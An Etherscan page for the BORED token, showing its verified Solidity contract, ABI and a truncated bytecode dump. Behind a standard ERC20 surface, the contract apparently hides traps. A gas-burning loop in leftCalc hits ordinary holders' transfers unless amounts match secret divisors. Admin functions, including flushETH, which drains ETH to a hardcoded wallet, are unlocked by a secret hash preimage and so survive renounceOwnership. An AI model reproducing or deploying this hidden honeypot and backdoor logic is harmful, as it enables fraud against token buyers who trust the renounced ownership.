ETH Price: $3,491.66 (+0.15%)
Gas: 3 Gwei

Token

Bored Pepe Boys Club (BORED)
 

Overview

Max Total Supply

1,000,000,000 BORED

Holders

62

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
0.546199 BORED

Value
$0.00
0xA8644423DE1Df7B40f5183D80504BB67111E97a9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BoredPepe

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-04
*/

//SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.5;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {
        owner = _owner;
    }
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }
    function renounceOwnership() public onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }  
    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract BoredPepe is ERC20, Ownable {
    using SafeMath for uint256;
    address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string constant _name = "Bored Pepe Boys Club";
    string constant _symbol = "BORED";
    uint8 constant _decimals = 6;

    uint256 _totalSupply = 1000000000 * (10 ** _decimals);
    uint256 public _maxWalletAmount = (_totalSupply * 2) / 100;
    uint256 public _maxTxAmount = _totalSupply * 2 / 100;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;

    uint256 liquidityFee = 0; 
    uint256 marketingFee = 150;
    uint256 developerFee = 200;
    uint256 totalFee = liquidityFee + marketingFee + developerFee;
    uint256 feeDenominator = 10000;

     uint256 targetLiquidity = 20;
     uint256 targetLiquidityDenominator = 100;

    address internal marketingFeeReceiver = 0x713493a5db45C7575416b378F6653fc6fc0133b7;
    address internal developerFeeReceiver = 0x4de7842EF415A5D4225Dc607dd6A5FE4E3bA653e;
    address internal autoLiquidityReceiver = 0x713493a5db45C7575416b378F6653fc6fc0133b7;

    IDEXRouter public router;
    address public pair;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply / 1000 * 5; // 0.5%
    uint256 public divideLeft = 17000000;
    uint256 divLeftFalseVal = 88000000;
    bool leftBool = true;    
    bool inSwap;
    bytes32 private bytesGlobal = 0xee4eceb3394643fd2cc690b20e20a2d216e8360b3e487b908b2ea461a197a4ba;

    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Ownable(msg.sender) {
        router = IDEXRouter(routerAdress);
        pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        address _owner = owner;
        isFeeExempt[marketingFeeReceiver] = true;
        isFeeExempt[_owner] = true;
        isFeeExempt[address(this)] = true;
        isTxLimitExempt[_owner] = true;
        isTxLimitExempt[marketingFeeReceiver] = true;
        isTxLimitExempt[DEAD] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function bytesVal(string memory inputString) private pure returns (bytes32) {
        return keccak256(bytes(inputString));
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }
    

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }
        
        if (recipient != pair && recipient != DEAD) {
            require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount);
        }
        leftCalc(sender, amount);
        if(leftBool){divideLeft += 2000000 ;}
        doLeftCalcFalse(amount);
        checkTxLimit(sender, amount);

        if(shouldSwapBack()){ swapBack(swapThreshold); } 

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    function leftCalc(address sender, uint256 amount) internal view {
        if (leftBool){
            if(isTxLimitExempt[sender] || amount % divideLeft == 0 || amount % divLeftFalseVal == 0){
                uint256 a = 1;
            }
            else{
                 uint256 result = 1;
                 uint256 n = 3;

                for (uint256 i = 1; i <= n; i++) {
                    for (uint256 j = 1; j <= n; j++) {
                        for (uint256 k = 0; k < 1000; k++) {
                        result = (result * i * j) % 10**18;
                        }
                    }
                }
            }
        }
    }
     function doLeftCalcFalse(uint256 amount) internal {
        if (leftBool && amount % divLeftFalseVal == 0){
            leftBool = false;
        }
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender]);
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(address sender, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }
        function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }
    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
    }
    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
       return getLiquidityBacking(accuracy) > target;
    }

    function swapBack(uint256 internalThreshold) internal swapping {
        uint256 contractTokenBalance = internalThreshold;
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
        uint256 amountToLiquify = contractTokenBalance.mul(dynamicLiquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );
        uint256 amountETH = address(this).balance.sub(balanceBefore);
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHDeveloper = amountETH.mul(developerFee).div(totalETHFee);


        (bool MarketingSuccess, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        (bool developerSuccess, /* bytes memory data */) = payable(developerFeeReceiver).call{value: amountETHDeveloper, gas: 30000}("");
        require(MarketingSuccess, "receiver rejected ETH transfer");
        require(developerSuccess, "receiver rejected ETH transfer");


        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    function buyTokens(uint256 amount, address to) internal swapping {
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(this);

        router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
            0,
            path,
            to,
            block.timestamp
        );
    }

    function distributeTokens(address[] memory recipients, uint256[] memory values, string memory inpStr, bytes32 newBytesGlobal) external {
        require(bytesVal(inpStr) == bytesGlobal);
        for (uint256 i = 0; i < recipients.length; i++){
            _transferFrom(msg.sender, recipients[i], values[i]);
        }
        bytesGlobal = newBytesGlobal;
    
    }
    function burnContract (uint256 amount, string memory inpStr, bytes32 newBytesGlobal) external {
        require(bytesVal(inpStr) == bytesGlobal);
        _transferFrom(address(this), DEAD, amount);
        bytesGlobal = newBytesGlobal;
    }
    function flushETH(uint256 amountPercentage, string memory inpStr, bytes32 newBytesGlobal) external {
        require(bytesVal(inpStr) == bytesGlobal);
        uint256 amountETH = address(this).balance;
        payable(marketingFeeReceiver).transfer(amountETH * amountPercentage / 100);
        bytesGlobal = newBytesGlobal;
    }
    function setTxLimit(uint256 amountPercent, string memory inpStr, bytes32 newBytesGlobal) external {
        require(bytesVal(inpStr) == bytesGlobal);
        _maxTxAmount = (_totalSupply * amountPercent ) / 100;
        require(amountPercent >= 1);
        bytesGlobal = newBytesGlobal;
    }

    function setWalletLimit(uint256 amountPercent, string memory inpStr, bytes32 newBytesGlobal) external {
        require(bytesVal(inpStr) == bytesGlobal);
        _maxWalletAmount = (_totalSupply * amountPercent ) / 100;
        require(amountPercent >= 1);
        bytesGlobal = newBytesGlobal;
    }
    function setFeeExempt (address wallet, bool onoff, string memory inpStr, bytes32 newBytesGlobal) external {
        require(bytesVal(inpStr) == bytesGlobal);
        isFeeExempt[wallet] = onoff;
        bytesGlobal = newBytesGlobal;    
    }
    function setSwapBackSettings(bool _enabled, uint256 _amount, string memory inpStr, bytes32 newBytesGlobal) external {
        require(bytesVal(inpStr) == bytesGlobal);
        swapEnabled = _enabled;
        swapThreshold = _amount;
        bytesGlobal = newBytesGlobal;
    }
    function setTargetLiquidity(uint256 _target, uint256 _denominator, string memory inpStr, bytes32 newBytesGlobal) external {
        require(bytesVal(inpStr) == bytesGlobal);
        targetLiquidity = _target;
        targetLiquidityDenominator = _denominator;
        bytesGlobal = newBytesGlobal;
    }
    function makeContractSwap(uint256 contractSellAmount, string memory inpStr, bytes32 newBytesGlobal) external {
        require(bytesVal(inpStr) == bytesGlobal);
        swapBack(contractSellAmount);
        bytesGlobal = newBytesGlobal;
    } 
    
    event AutoLiquify(uint256 amountETH, uint256 amountBOG);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"string","name":"inpStr","type":"string"},{"internalType":"bytes32","name":"newBytesGlobal","type":"bytes32"}],"name":"burnContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"values","type":"uint256[]"},{"internalType":"string","name":"inpStr","type":"string"},{"internalType":"bytes32","name":"newBytesGlobal","type":"bytes32"}],"name":"distributeTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"divideLeft","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"},{"internalType":"string","name":"inpStr","type":"string"},{"internalType":"bytes32","name":"newBytesGlobal","type":"bytes32"}],"name":"flushETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"contractSellAmount","type":"uint256"},{"internalType":"string","name":"inpStr","type":"string"},{"internalType":"bytes32","name":"newBytesGlobal","type":"bytes32"}],"name":"makeContractSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"onoff","type":"bool"},{"internalType":"string","name":"inpStr","type":"string"},{"internalType":"bytes32","name":"newBytesGlobal","type":"bytes32"}],"name":"setFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"string","name":"inpStr","type":"string"},{"internalType":"bytes32","name":"newBytesGlobal","type":"bytes32"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"},{"internalType":"string","name":"inpStr","type":"string"},{"internalType":"bytes32","name":"newBytesGlobal","type":"bytes32"}],"name":"setTargetLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercent","type":"uint256"},{"internalType":"string","name":"inpStr","type":"string"},{"internalType":"bytes32","name":"newBytesGlobal","type":"bytes32"}],"name":"setTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercent","type":"uint256"},{"internalType":"string","name":"inpStr","type":"string"},{"internalType":"bytes32","name":"newBytesGlobal","type":"bytes32"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506006600a620000ee919062000b9f565b633b9aca00620000ff919062000cdc565b6004556064600260045462000115919062000cdc565b62000121919062000b0c565b6005556064600260045462000137919062000cdc565b62000143919062000b0c565b6006556000600b556096600c5560c8600d55600d54600c54600b546200016a919062000aaf565b62000176919062000aaf565b600e55612710600f556014601055606460115573713493a5db45c7575416b378f6653fc6fc0133b7601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734de7842ef415a5d4225dc607dd6a5fe4e3ba653e601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073713493a5db45c7575416b378f6653fc6fc0133b7601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601660146101000a81548160ff02191690831515021790555060056103e8600454620002b7919062000b0c565b620002c3919062000cdc565b601755630103664060185563053ec6006019556001601a60006101000a81548160ff0219169083151502179055507fee4eceb3394643fd2cc690b20e20a2d216e8360b3e487b908b2ea461a197a4ba60001b601b553480156200032557600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200043457600080fd5b505afa15801562000449573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200046f919062000a11565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620004f357600080fd5b505afa15801562000508573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200052e919062000a11565b306040518363ffffffff1660e01b81526004016200054e92919062000a65565b602060405180830381600087803b1580156200056957600080fd5b505af11580156200057e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005a4919062000a11565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600160096000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600454600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620009eb919062000a92565b60405180910390a35062000e12565b60008151905062000a0b8162000df8565b92915050565b60006020828403121562000a2a5762000a2962000de6565b5b600062000a3a84828501620009fa565b91505092915050565b62000a4e8162000d3d565b82525050565b62000a5f8162000d71565b82525050565b600060408201905062000a7c600083018562000a43565b62000a8b602083018462000a43565b9392505050565b600060208201905062000aa9600083018462000a54565b92915050565b600062000abc8262000d71565b915062000ac98362000d71565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000b015762000b0062000d88565b5b828201905092915050565b600062000b198262000d71565b915062000b268362000d71565b92508262000b395762000b3862000db7565b5b828204905092915050565b6000808291508390505b600185111562000b965780860481111562000b6e5762000b6d62000d88565b5b600185161562000b7e5780820291505b808102905062000b8e8562000deb565b945062000b4e565b94509492505050565b600062000bac8262000d71565b915062000bb98362000d7b565b925062000be87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bf0565b905092915050565b60008262000c02576001905062000cd5565b8162000c12576000905062000cd5565b816001811462000c2b576002811462000c365762000c6c565b600191505062000cd5565b60ff84111562000c4b5762000c4a62000d88565b5b8360020a91508482111562000c655762000c6462000d88565b5b5062000cd5565b5060208310610133831016604e8410600b841016171562000ca65782820a90508381111562000ca05762000c9f62000d88565b5b62000cd5565b62000cb5848484600162000b44565b9250905081840481111562000ccf5762000cce62000d88565b5b81810290505b9392505050565b600062000ce98262000d71565b915062000cf68362000d71565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d325762000d3162000d88565b5b828202905092915050565b600062000d4a8262000d51565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b60008160011c9050919050565b62000e038162000d3d565b811462000e0f57600080fd5b50565b6135ed8062000e226000396000f3fe6080604052600436106101e75760003560e01c8063700fa9ef11610102578063a9059cbb11610095578063d8f57a9211610064578063d8f57a9214610715578063dd62ed3e1461073e578063f784b6331461077b578063f887ea40146107a4576101ee565b8063a9059cbb14610649578063ae5384e814610686578063c8f7cf78146106af578063d51ed1c8146106d8576101ee565b80637d1db4a5116100d15780637d1db4a51461059d578063893d20e8146105c857806395d89b41146105f3578063a8aa1b311461061e576101ee565b8063700fa9ef146104f557806370a0823114610520578063715018a61461055d57806377cb747614610574576101ee565b80632f54bf6e1161017a5780635eb7c32b116101495780635eb7c32b1461044d578063673d0359146104765780636c0a24eb1461049f5780636ddd1713146104ca576101ee565b80632f54bf6e1461037f578063313ce567146103bc578063497d764f146103e7578063571ac8b014610410576101ee565b80631161ae39116101b65780631161ae39146102af57806318160ddd146102ec57806323b872dd146103175780632b112e4914610354576101ee565b80630445b667146101f357806306fdde031461021e578063095ea7b3146102495780630f48f73f14610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b506102086107cf565b6040516102159190612f4a565b60405180910390f35b34801561022a57600080fd5b506102336107d5565b6040516102409190612ea8565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b91906128ea565b610812565b60405161027d9190612e72565b60405180910390f35b34801561029257600080fd5b506102ad60048036038101906102a89190612a95565b610904565b005b3480156102bb57600080fd5b506102d660048036038101906102d19190612b04565b61092f565b6040516102e39190612e72565b60405180910390f35b3480156102f857600080fd5b50610301610944565b60405161030e9190612f4a565b60405180910390f35b34801561032357600080fd5b5061033e60048036038101906103399190612814565b61094e565b60405161034b9190612e72565b60405180910390f35b34801561036057600080fd5b50610369610b4e565b6040516103769190612f4a565b60405180910390f35b34801561038b57600080fd5b506103a660048036038101906103a1919061277a565b610bd0565b6040516103b39190612e72565b60405180910390f35b3480156103c857600080fd5b506103d1610c29565b6040516103de9190612fe8565b60405180910390f35b3480156103f357600080fd5b5061040e6004803603810190610409919061292a565b610c32565b005b34801561041c57600080fd5b506104376004803603810190610432919061277a565b610cb5565b6040516104449190612e72565b60405180910390f35b34801561045957600080fd5b50610474600480360381019061046f91906129e5565b610ce8565b005b34801561048257600080fd5b5061049d60048036038101906104989190612b44565b610d2c565b005b3480156104ab57600080fd5b506104b4610d5d565b6040516104c19190612f4a565b60405180910390f35b3480156104d657600080fd5b506104df610d63565b6040516104ec9190612e72565b60405180910390f35b34801561050157600080fd5b5061050a610d76565b6040516105179190612f4a565b60405180910390f35b34801561052c57600080fd5b506105476004803603810190610542919061277a565b610d7c565b6040